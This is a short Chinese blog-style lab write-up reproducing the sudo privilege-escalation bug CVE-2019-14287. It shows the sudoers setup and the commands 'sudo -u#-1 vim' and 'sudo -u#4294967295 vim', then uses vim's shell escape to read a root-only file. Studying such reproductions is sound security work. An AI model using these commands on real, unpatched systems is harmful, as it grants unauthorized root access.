漏洞ID:CVE-2019-14287
漏洞公布日期:2019年10月14日
影响范围:sudo 1.8.28 之前的所有版本
复现环境:kali
因为sudo是平时用得较多的一个命令,前两天得知了这个漏洞,就复现一下。
复现
先查看sudo
版本
sudo -V
sudo
版本低于1.8.28
创建一个test
用户用于本次测试
useradd test
passwd test
编辑/etc/sudoers
文件
vim /etc/sudoers
添加
test ALL = (ALL, !root) /usr/bin/vim
这里表示用户test
以任意非root
身份运行/usr/bin/vim
,执行vim
命令
如果是直接添加:
test ALL = (ALL, !root) /usr/bin/bash
是不是就可以直接提权呢?
以test
用户查看本地1
文件,显示权限不够
然后我们输入
sudo -u#-1 vim
或者
sudo -u#4294967295 vim
只要用户在使用sudo
命令时指定UID
为-1
或4294967295
,就可以以root
身份执行命令。这是因为命令在将UID
转换为对应用户时,会将-1
或4294967295
这两个异常数字视为0
,而0
是root
用户的UID
,因此可以实现在普通用户下执行root
用户权限。
在vim
界面下尝试读取1
文件
:!cat ./1
读取成功
总结
该漏洞需要实现的话需要root
用户在sudoers
文件中添加一些非标准的配置,个人认为漏洞影响范围不大,因为谁没事会在sudoers
中添加这些配置呢。
网友评论